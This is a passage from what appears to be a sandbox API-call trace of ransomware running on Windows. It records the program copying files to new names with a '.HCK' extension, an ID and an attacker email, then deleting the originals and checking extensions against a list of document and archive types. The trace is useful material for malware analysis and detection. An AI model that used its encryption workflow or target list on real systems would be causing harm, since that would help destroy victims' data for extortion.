(HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x7911a0 [0147.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x36f0048 [0147.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708558 [0147.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e820 [0147.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708600 [0147.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x37f6020 [0147.768] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708618 [0147.768] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708618, Size=0x20) returned 0x6eec98 [0147.768] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708570 [0147.768] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708570, Size=0x20) returned 0x6eeb08 [0147.768] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.768] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.768] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x0) returned 1 [0147.768] lstrlenW (lpString="kernel32.dll") returned 12 [0147.768] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.768] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.768] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.768] Sleep (dwMilliseconds=0x64) [0148.245] lstrcmpiW (lpString1=".cmd", lpString2=".HCK") returned -1 [0148.245] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0148.245] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.248] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=577) returned 1 [0148.249] CloseHandle (hObject=0x2fc) returned 1 [0148.249] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0148.249] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.249] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.249] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.249] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.249] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.351] GetLastError () returned 0x0 [0148.351] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x241, lpOverlapped=0x0) returned 1 [0148.383] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x250, lpOverlapped=0x0) returned 1 [0148.384] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.384] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1 [0148.384] SetEndOfFile (hFile=0x2f8) returned 1 [0148.384] CloseHandle (hObject=0x2f8) returned 1 [0148.385] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.385] SetEndOfFile (hFile=0x2fc) returned 1 [0148.385] CloseHandle (hObject=0x2fc) returned 1 [0148.385] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.386] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".doc") returned 4 [0148.386] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString=".docx") returned 5 [0148.386] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.386] lstrlenW (lpString=".pdf") returned 4 [0148.386] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString=".xls") returned 4 [0148.386] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString=".xlsx") returned 5 [0148.386] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.386] lstrlenW (lpString=".ppt") returned 4 [0148.386] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".zip") returned 4 [0148.386] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString=".rar") returned 4 [0148.386] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString=".bz2") returned 4 [0148.386] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.386] lstrlenW (lpString=".7z") returned 3 [0148.386] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".dbf") returned 4 [0148.386] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".1cd") returned 4 [0148.386] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".jpg") returned 4 [0148.386] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.386] lstrlenW (lpString=".doc") returned 4 [0148.387] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString=".docx") returned 5 [0148.387] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.387] lstrlenW (lpString=".pdf") returned 4 [0148.387] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString=".xls") returned 4 [0148.387] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString=".xlsx") returned 5 [0148.387] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.387] lstrlenW (lpString=".ppt") returned 4 [0148.387] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.387] lstrlenW (lpString=".zip") returned 4 [0148.387] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString=".rar") returned 4 [0148.387] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString=".bz2") returned 4 [0148.387] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.387] lstrlenW (lpString=".7z") returned 3 [0148.387] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.387] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.387] lstrlenW (lpString=".dbf") returned 4 [0148.387] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.387] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.387] lstrlenW (lpString=".1cd") returned 4 [0148.387] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.387] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0148.387] lstrlenW (lpString=".jpg") returned 4 [0148.387] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.387] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.387] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.387] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17240) returned 1 [0148.387] CloseHandle (hObject=0x2fc) returned 1 [0148.387] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0148.388] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.388] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.388] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.388] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.388] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.388] GetLastError () returned 0x0 [0148.388] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4358, lpOverlapped=0x0) returned 1 [0148.390] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4360, lpOverlapped=0x0) returned 1 [0148.390] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.391] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.391] SetEndOfFile (hFile=0x2f8) returned 1 [0148.391] CloseHandle (hObject=0x2f8) returned 1 [0148.392] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.392] SetEndOfFile (hFile=0x2fc) returned 1 [0148.392] CloseHandle (hObject=0x2fc) returned 1 [0148.393] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.393] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0148.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.393] lstrlenW (lpString=".doc") returned 4 [0148.393] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString=".docx") returned 5 [0148.393] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.393] lstrlenW (lpString=".pdf") returned 4 [0148.393] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString=".xls") returned 4 [0148.393] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString=".xlsx") returned 5 [0148.393] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.393] lstrlenW (lpString=".ppt") returned 4 [0148.393] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.393] lstrlenW (lpString=".zip") returned 4 [0148.393] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString=".rar") returned 4 [0148.393] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.393] lstrlenW (lpString=".bz2") returned 4 [0148.393] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.393] lstrlenW (lpString=".7z") returned 3 [0148.393] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.393] lstrlenW (lpString=".dbf") returned 4 [0148.394] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".1cd") returned 4 [0148.394] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".jpg") returned 4 [0148.394] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".doc") returned 4 [0148.394] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString=".docx") returned 5 [0148.394] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.394] lstrlenW (lpString=".pdf") returned 4 [0148.394] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString=".xls") returned 4 [0148.394] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString=".xlsx") returned 5 [0148.394] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.394] lstrlenW (lpString=".ppt") returned 4 [0148.394] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".zip") returned 4 [0148.394] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString=".rar") returned 4 [0148.394] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.394] lstrlenW (lpString=".bz2") returned 4 [0148.394] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.394] lstrlenW (lpString=".7z") returned 3 [0148.394] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".dbf") returned 4 [0148.394] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".1cd") returned 4 [0148.394] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0148.394] lstrlenW (lpString=".jpg") returned 4 [0148.394] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.394] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.394] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.394] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.395] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18264) returned 1 [0148.395] CloseHandle (hObject=0x2fc) returned 1 [0148.395] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0148.395] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.395] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.395] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.395] GetLastError () returned 0x0 [0148.395] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.397] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.398] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.398] WriteFile (in: hFile=0x2f8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.398] SetEndOfFile (hFile=0x2f8) returned 1 [0148.398] CloseHandle (hObject=0x2f8) returned 1 [0148.399] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.399] SetEndOfFile (hFile=0x2fc) returned 1 [0148.399] CloseHandle (hObject=0x2fc) returned 1 [0148.400] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.400] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0148.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.400] lstrlenW (lpString=".doc") returned 4 [0148.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString=".docx") returned 5 [0148.400] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.400] lstrlenW (lpString=".pdf") returned 4 [0148.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString=".xls") returned 4 [0148.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString=".xlsx") returned 5 [0148.400] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.400] lstrlenW (lpString=".ppt") returned 4 [0148.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.400] lstrlenW (lpString=".zip") returned 4 [0148.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString=".rar") returned 4 [0148.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.400] lstrlenW (lpString=".bz2") returned 4 [0148.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.400] lstrlenW (lpString=".7z") returned 3 [0148.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".dbf") returned 4 [0148.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".1cd") returned 4 [0148.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".jpg") returned 4 [0148.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".doc") returned 4 [0148.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString=".docx") returned 5 [0148.401] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.401] lstrlenW (lpString=".pdf") returned 4 [0148.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString=".xls") returned 4 [0148.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString=".xlsx") returned 5 [0148.401] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.401] lstrlenW (lpString=".ppt") returned 4 [0148.401] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".zip") returned 4 [0148.401] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString=".rar") returned 4 [0148.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.401] lstrlenW (lpString=".bz2") returned 4 [0148.401] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.401] lstrlenW (lpString=".7z") returned 3 [0148.401] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".dbf") returned 4 [0148.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".1cd") returned 4 [0148.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0148.401] lstrlenW (lpString=".jpg") returned 4 [0148.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.401] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.401] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.402] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18776) returned 1 [0148.402] CloseHandle (hObject=0x2fc) returned 1 [0148.402] GetFileAttributesW 